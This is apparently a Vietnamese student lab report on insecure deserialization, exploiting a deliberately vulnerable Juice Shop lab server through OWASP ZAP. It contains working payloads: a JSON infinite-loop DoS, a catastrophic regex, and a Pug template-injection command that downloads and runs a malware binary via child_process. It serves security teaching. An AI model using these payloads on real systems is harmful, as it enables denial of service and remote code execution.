



















Preview text:
lOMoAR cPSD| 58647650
HỌC VIỆN CÔNG NGHỆ BƯU CHÍNH VIỄN THÔNG
KHOA AN TOÀN THÔNG TIN
THỰC HÀNH AN TOÀN ỨNG DỤNG WEB VÀ CƠ SỞ DỮ LIỆU
BrokenAuthenticationandSession Management
Giảngviênhướngdẫn
: NinhThịThuTrang Họvàtênsinhviên
: NguyễnQuốcVượng Mãsinhviên
: B21DCAT 227 Lớp : D21CQAT03-B Nhóm :01 HàNội–2024 lOMoAR cPSD| 58647650
Mục lục
1. Tìm hiểu lý thuyết 2
Lý thuyết về Insecure Deserialization 2 Quá trình Deserialization 2
Các bước tấn công Insecure Deserialization 3
Các loại dữ liệu phổ biến dễ bị ảnh hưởng 3
Phòng chống Insecure Deserialization 3
2. Nội dung thực hành 4 3. Kết luận: 19 Insecure Deserialization: 19
Bài học chính rút ra từ bài thực hành: 20
Bài thực hành: Broken Authentication and Session Management
1. Tìm hiểu lý thuyết
Lý thuyết về Insecure Deserialization
Insecure Deserialization (mã hóa và giải mã không an toàn) là một lỗ
hổng bảo mật nghiêm trọng xuất hiện khi dữ liệu ược deserialized (giải
mã từ ịnh dạng lưu trữ về ối tượng ban ầu) mà không có các kiểm tra
tính hợp lệ hoặc bảo mật. Nếu quá trình deserialization không ược thực
hiện an toàn, kẻ tấn công có thể thao túng dữ liệu ể thực thi mã ộc hoặc
thao túng ứng dụng theo ý mình.
Quá trình Deserialization
Serialization là quá trình chuyển ổi dữ liệu (chẳng hạn ối tượng hoặc
cấu trúc dữ liệu) thành ịnh dạng lưu trữ hoặc truyền tải (ví dụ: chuỗi ký
tự JSON, XML, hoặc binary). Quá trình deserialization là hành ộng
ngược lại, tức là chuyển ổi dữ liệu từ ịnh dạng ã ược lưu trữ hoặc
truyền tải về dạng ối tượng gốc.
Nếu một ứng dụng thực hiện deserialization mà không kiểm soát dữ liệu
nguồn, kẻ tấn công có thể ưa vào chuỗi mã hóa ã bị chỉnh sửa, dẫn ến việc: lOMoAR cPSD| 58647650
● Remote Code Execution (RCE): Kẻ tấn công có thể thực thi mã ộc từ xa.
● Thay ổi logic ứng dụng: Thay ổi trạng thái hoặc hành vi của ứng
dụng theo cách bất hợp pháp.
● Bypass authentication: Kẻ tấn công có thể bypass các cơ chế
xác thực hoặc ủy quyền, giành quyền truy cập trái phép.
Các bước tấn công Insecure Deserialization
● Kẻ tấn công tạo payload ộc hại: Kẻ tấn công tạo ra chuỗi dữ
liệu ã ược serialized với các nội dung ộc hại.
● Kẻ tấn công gửi payload ến ứng dụng: Payload có thể ược
gửi qua yêu cầu HTTP, WebSocket, hoặc bất kỳ kênh nào cho
phép truyền dữ liệu serialized.
● Ứng dụng giải mã dữ liệu: Ứng dụng deserializes dữ liệu mà
không kiểm tra tính hợp lệ, và payload ộc hại ược thực thi.
● Thực hiện hành ộng bất hợp pháp: Dữ liệu bị giải mã có thể bao
gồm mã ộc hoặc các hành ộng có thể thay ổi hành vi ứng dụng,
dẫn ến việc thực thi mã ộc hoặc thay ổi dữ liệu.
Các loại dữ liệu phổ biến dễ bị ảnh hưởng
● JSON, XML: Các ịnh dạng dữ liệu phổ biến trong việc trao ổi dữ
liệu API thường ược sử dụng trong deserialization và có thể dễ bị
khai thác nếu không ược kiểm soát kỹ lưỡng.
● Binary formats: Đặc biệt là các ịnh dạng nhị phân trong ngôn ngữ
như Java, Python (pickle), PHP, Ruby, có thể gây ra lỗ hổng nếu
việc xử lý không an toàn.
Phòng chống Insecure Deserialization
● Không tin tưởng dữ liệu
ầu vào: Không nên tin tưởng dữ liệu
từ người dùng hoặc bất kỳ nguồn bên ngoài nào khi deserialization.
● Kiểm tra và xác thực dữ liệu: Trước khi deserializing dữ liệu, cần
có các bước kiểm tra và xác thực dữ liệu chặt chẽ, ảm bảo dữ liệu
không bị thay ổi hoặc chứa mã ộc.
● Sử dụng các thư viện an toàn: Khi cần phải deserialization, nên
sử dụng các thư viện hoặc framework bảo mật, có khả năng kiểm
soát chặt chẽ quá trình này và phát hiện những chuỗi dữ liệu không hợp lệ. lOMoAR cPSD| 58647650
● Sử dụng các lớp sandbox: Chạy quá trình deserialization trong
môi trường kiểm soát hoặc lớp sandbox, hạn chế quyền truy cập
của mã có khả năng gây hại.
● Ký dữ liệu serialized: Để ngăn việc dữ liệu bị thay ổi, dữ liệu
serialized có thể ược ký (ví dụ: bằng thuật toán mã hóa) ể phát
hiện mọi sự thay ổi không hợp lệ.
2. Nội dung thực hành
Chuẩn bị lab - Khởi ộng lab: labtainer web-insdes
(Chú ý: sinh viên sử dụng Mã sinh viên của mình ể nhập thông tin email
người thực hiện bài lab khi có yêu cầu trong terminal, ể sử dụng khi chấm iểm.) -
Bài lab cung cấp các tài khoản ã ược cấu hình sẵn User Password Systems admin@juice.org admin123 Admin for web login jim@juice.org ncc-1701 web login Ubuntu ubuntu Student workstation Ubuntu ubuntu vulnerable server lOMoAR cPSD| 58647650
4. Cấu hình mạng
● Máy student workstation (web-insdes) ược cấu hình có ịa chỉ ip là
192.168.99.101, còn server (web-insdes-server) có ịa chỉ ip là 192.168.99.100
Các nhiệm vụ
Nhiệm vụ 1: Kiểm tra kết nối giữa 2 máy ảo ược cung cấp
- Sử dụng lệnh ping từ máy Student Workstation ping 192.168.99.100
Nhiệm vụ 2: Mở trình duyệt web Firefox
● Ở terminal của máy student gõ lệnho firefox & lOMoAR cPSD| 58647650
● Lệnh này sẽ khởi ộng firefox, sau ó mở ịa chỉ ip
của server:o http://192.168.99.100:3000
Nhiệm vụ 3: Mở và cài ặt OWASP ZAP
● Ở terminal của máy student chạy lệnh sau o owasp-zap & lOMoAR cPSD| 58647650
● Ứng dụng OWASP ZAP ược mở và chọn các y/c sau:
o Chọn “yes, I want to persist this session with the name
based on the current timestamp” rồi nhấn start.
o Nếu bạn ược nhắc “Manage Add-on”, chọn close
Nhiệm vụ 4: Cấu hình ể sử dụng OWASP ZAP như proxy Mục tiêu
của nhiệm vụ này là cài ặt OWASP ZAP ể hoạt ộng và cho phép bắt gói
tin từ máy tính sinh viên trên trình duyệt web-xss. Trong phần thiết lập
của Firefox, cấu hình theo các bước sau ây:
● Trên Firefox của máy tính sinh viên, mở "Preferences". lOMoAR cPSD| 58647650
● Trong cửa sổ tìm kiếm, gõ "proxy".
● Trong Cài ặt proxy mạng, chọn "Cài ặt".
● Chọn "Cấu hình proxy thủ công".
● Trong phần Proxy HTTP: sử dụng "127.0.0.1" và Cổng "8080".
● Cũng chọn "Sử dụng máy chủ proxy này cho tất cả các giao
thức".● Nhấp vào "ok" ể chấp nhận các cài ặt. lOMoAR cPSD| 58647650
Cài ặt trên ảm bảo Firefox sử dụng OWASP Zap làm proxy. Thực hiện
các bước sau ể ảm bảo Firefox ang kết nối và sử dụng ZAP như là proxy:
● Làm mới trang web "192.168.99.100:3000".
● Một cảnh báo bảo mật với thông báo "Kết nối của bạn không
antoàn" sẽ ược hiển thị.
● Phải chấp nhận thông báo cảnh báo này. Để làm iều ó, nhấpvào "Advanced".
● Nó sẽ hiển thị chứng chỉ SSL và nên hiển thị lOMoAR cPSD| 58647650
"SEC_ERROR_UNKOWN ISSUE". Bấm "Add Exception" ể sử dụng chứng chỉ này.
● Một cửa sổ xác nhận sẽ hiện ra, xác nhận ngoại lệ bằng
cáchnhấp vào "Confirm Security Exception".
Nhiệm vụ 5: Truy cập các khu vực bị hạn chế
● Mục tiêu của nhiệm vụ này là ể xem quyền truy cập nào ượcphép
và ể xác ịnh liệu bạn có thể truy cập vào một phần bị hạn chế, nếu
bạn truy cập ược thì sẽ ược phép làm bất cứ iều gì. Theo OWASP
WSTG-ATHZ-01, một trong những việc ầu tiên khi xem một trang
web là xem bạn có quyền truy cập vào những URL và thư mục
nào. Tiến hành khảo sát trang web cơ bản sử dụng trình thu thập
dữ liệu trang web là phương pháp ưa thích ể thu thập dữ liệu trên trang web
● Ví dụ 1: Khảo sát trang web
● Phần sau ây sẽ cho phép OWASP Zap thu thập dữ liệu trangweb
ể xác ịnh xem ường dẫn nào có thể truy cập ược.
o Mở OWASP Zap và thực hiện quét trang web trên ịa chỉ IP: 192.168.99.100:3000 lOMoAR cPSD| 58647650
o Bạn có thấy bất kỳ liên kết nào ến các trang quản trịkhông?
o Vui lòng lưu kết quả quét của bạn từ OWASP Zap, lưu
nóvào màn hình nền và ặt tên cho nó “traversal.html” nếu
traversal không phải là một tùy chọn, hãy lưu toàn bộ báo cáo.
Nhiệm vụ 6: Remote Code Execution – Sử dụng POST và JSON
● Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng
cáchsử dụng POST và JSON. Dựa theo OWASP WSTG 4.7.11.2 ể lOMoAR cPSD| 58647650
kiểm tra các lỗ hổng bao gồm remote file và code inclusion. File và
Code inclusion cho phép kẻ tấn công chèn file và oạn code,
thường khai thác tính năng “include tệp ộng” thực hiện trong ứng
dụng mục tiêu. Lỗ hổng xảy ra do việc sử dụng thông tin ầu vào
do người dùng cung cấp mà không ược xác thực hợp lệ.
● Thực hiện các bước bên dưới ể thực hiện thực thi mã từ xa.o Sau
khi xem xét các URL ược tìm thấy trong Nhiệm vụ 4, bạn sẽ tìm
thấy API Swagger theo tài liệu ược lưu trữ tại
https://192.168.99.100:3000/api-docs mô tả API B2B.
o API này cho phép POST các ơn hàng trong ó các dòngơn
hàng có thể ược gửi dưới dạng JSON ( orderLines ) và còn
dưới dạng Chuỗi ( orderLinesData ).
o Ví dụ ã cho về orderLinesDate chỉ ra rằng Chuỗi này có thể
ược phép chứa JSON tùy ý: [{"productId": 12,"quantity":
10000,"customerReference": ["PO0000001.2",
"SM20180105|042"],"couponCode": "pes[Bh.u*t"},...]
o Nhấp vào nút Try và không thay ổi bất cứ iều gì, nhấp
vàoThực thi ể xem API có hoạt ộng hay không và cách thức
hoạt ộng. Điều này sẽ khiến bạn gặp lỗi 401 Unauthorized
o Quay lại ứng dụng, ăng nhập với tư cách người dùng bấtkỳ
và sao chép Token của bạn từ Authorization Bearer header
sử dụng DevTools của trình duyệt web. lOMoAR cPSD| 58647650 o Quay lại
https://192.168.99.100:3000/api-docs/#/Order/post_orders
nhấp vào Authorize và paste Token vào form Value
o Nhấp vào Try và Execute ể xem response 200 OK
o Quá trình insecure JSON deserialization sẽ thực thi bất
kỳlệnh gọi hàm nào ược xác ịnh trong chuỗiJSON, vì vậy tải
trọng có thể có cho một cuộc tấn công DoS sẽ là một vòng
lặp vô tận. Thay code ví dụ với {"orderLinesData": "(function
dos() { while(true); })()"} trong trường Request Body. Nhấp vào execute. lOMoAR cPSD| 58647650
o Máy chủ sẽ phản hồi với 200 OK sau khoảng 2 giây.
o Nếu yêu cầu của bạn tạo vòng lặp vô hạn thành công, thử
thách sẽ ược ánh dấu là giải quyết
Nhiệm vụ 7: Remote Code Execution – sử dụng XML
● Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi mã bằng XML
● Thực hiện các bước bên dưới ể thực hiện thực thi mã từ xa. o Sau
khi xem xét các URL ược tìm thấy trong Nhiệm vụ 4, bạn sẽ tìm thấy lOMoAR cPSD| 58647650
API Swagger theo tài liệu ược lưu trữ tại
https://192.168.99.100:3000/api-docs mô tả API B2B.
o API này cho phép POST các ơn hàng trong ó các dòngơn
hàng có thể ược gửi dưới dạng JSON ( orderLines ) và còn
dưới dạng Chuỗi ( orderLinesData ).
o Ví dụ ã cho về orderLinesDate chỉ ra rằng Chuỗi này có
thểược phép chứa JSON tùy ý: [{"productId": 12,"quantity":
10000,"customerReference": ["PO0000001.2",
"SM20180105|042"],"couponCode": "pes[Bh.u*t"},...]
o Nhấp vào nút Try và không thay ổi bất cứ iều gì, nhấp
vàoThực thi ể xem API có hoạt ộng hay không và cách thức
hoạt ộng. Điều này sẽ khiến bạn gặp lỗi 401 Unauthorized
o Quay lại ứng dụng, ăng nhập với tư cách người dùng bấtkỳ
và sao chép Token của bạn từ Authorization Bearer header
sử dụng DevTools của trình duyệt web. o Quay lại
https://192.168.99.100:3000/api-docs/#/Order/post_orders
nhấp vào Authorize và paste Token vào form Value
o Nhấp vào Try và Execute ể xem response 200 OKo Quá
trình insecure JSON deserialization sẽ thực thi bất kỳ lệnh
gọi hàm nào ược xác ịnh trong chuỗiJSON, vì vậy tải trọng
có thể có cho một cuộc tấn công DoS sẽ là một vòng lặp vô
tận. Thay code ví dụ với {"orderLinesData":
"/((a+)+)b/.test('aaaaaaaaaaaaaaaaaaaaaaaaaaaaa')"} trong
trường Request Body. Nhấp vào execute. Việc này sẽ kích
hoạt biểu thức chính quy sau khi ược thực thi. lOMoAR cPSD| 58647650
o Máy chủ cuối cùng sẽ phản hồi với trạng thái 503 Service Unavailable.
Nhiệm vụ 8: Thực thi code bất kì
● Mục tiêu của nhiệm vụ này là buộc máy chủ thực thi code tùy ý
● Sử dụng các bước ược liệt kê bên dưới ể thực thi mã tùy ýnhằm
lây nhiễm phần mềm ộc hại vào máy chủ.
o Xem xét Nhiệm vụ 4.5 sẽ tiết lộ một thư mục con của ftptại:
https://192.168.99.100:3000/ftp/quarantine lOMoAR cPSD| 58647650
o Mục tiêu của bạn là RCE ể làm cho máy chủ tải xuống
vàthực thi phiên bản phần mềm ộc hại cho hệ iều hành máy
chủ, vì vậy trên Linux bạn có thể muốn chạy, hãy gõ lệnh sau: o wget -O malware
https://github.com/J12934/juicymalware/blob/m
aster/juicy_malware_linux_amd_64?raw=true && chmod
+x malware && ./malware o Nhận ra rằng
https://192.168.99.100:3000/profile không phải là Angular. Có
nghĩa là trang là ược viết bằng Pug, ây là một Template engine
và do ó hoàn toàn phù hợp với SSTI
o Đặt username của bạn thành 1+1 và nhấp vào Đặt tên người
dùng. Tên người dùng của bạn sẽ chỉ ược hiển thị là 1+1 avatar lOMoAR cPSD| 58647650
o Thử template Injection với Pug, ặt Tên người dùng
thành#{1+1} và nhấp vào Đặt tên người dùng. tên người
dùng bây giờ sẽ ược hiển thị là 2 dưới ảnh hồ sơ!
● Tạo một payload sẽ lạm dụng việc thiếu óng gói ối
tượngglobal.process của JavaScript ể tải ộng một thư viện cho
phép bạn sinh ra một tiến trình trên máy chủ mà sau ó sẽ tải xuống
và thực thi phần mềm ộc hại. Payload sẽ giống như sau:
● #{global.process.mainModule.require('child_process').exec ('wget -O malware
https://github.com/J12934/juicymalware/blob/master/juicy_mal lOMoAR cPSD| 58647650
ware_linux_amd_64?raw=true && chmod +x malware && ./malware')} Kiểm tra trong OWASP:
3. Kết luận:
Insecure Deserialization:
Trong bài thực hành này, chúng ta ã tìm hiểu về việc khai thác lỗ hổng
Insecure Deserialization, một lỗ hổng rất nguy hiểm nếu không ược xử lý cẩn thận. lOMoAR cPSD| 58647650
Bài học chính rút ra từ bài thực hành:
1. Hiểu rõ quá trình deserialization: Quá trình này có thể dễ bị khai
thác nếu không có các kiểm tra tính hợp lệ. Kẻ tấn công có thể lợi
dụng ể thực hiện các cuộc tấn công như Remote Code Execution
(RCE), bypass authentication, hoặc thay ổi logic của ứng dụng.
2. Tầm quan trọng của bảo mật dữ liệu ầu vào: Chúng ta cần
hiểu rõ rằng không ược tin tưởng bất kỳ dữ liệu nào từ bên ngoài,
ặc biệt là dữ liệu ược truyền qua các giao thức như HTTP, JSON, XML.
3. Thực hiện kiểm tra chặt chẽ: Việc kiểm tra và xác thực dữ liệu
trước khi deserialization là rất quan trọng. Điều này ngăn kẻ tấn
công truyền tải dữ liệu ộc hại vào hệ thống.
4. Sử dụng các phương pháp phòng chống: Sử dụng ký số cho
dữ liệu serialized, sử dụng các thư viện bảo mật, và chạy
deserialization trong môi trường an toàn ều là những phương
pháp hữu hiệu ể phòng ngừa lỗ hổng này.
Qua bài thực hành này, chúng ta ã nhận ra rằng Insecure
Deserialization không chỉ gây thiệt hại cho hệ thống mà còn tạo ra
nhiều cơ hội cho kẻ tấn công lợi dụng các iểm yếu trong hệ thống nếu
không ược bảo vệ úng cách. Việc áp dụng các biện pháp bảo mật
chặt chẽ trong quá trình deserialization là cần thiết ể giảm thiểu rủi ro và bảo vệ hệ thống.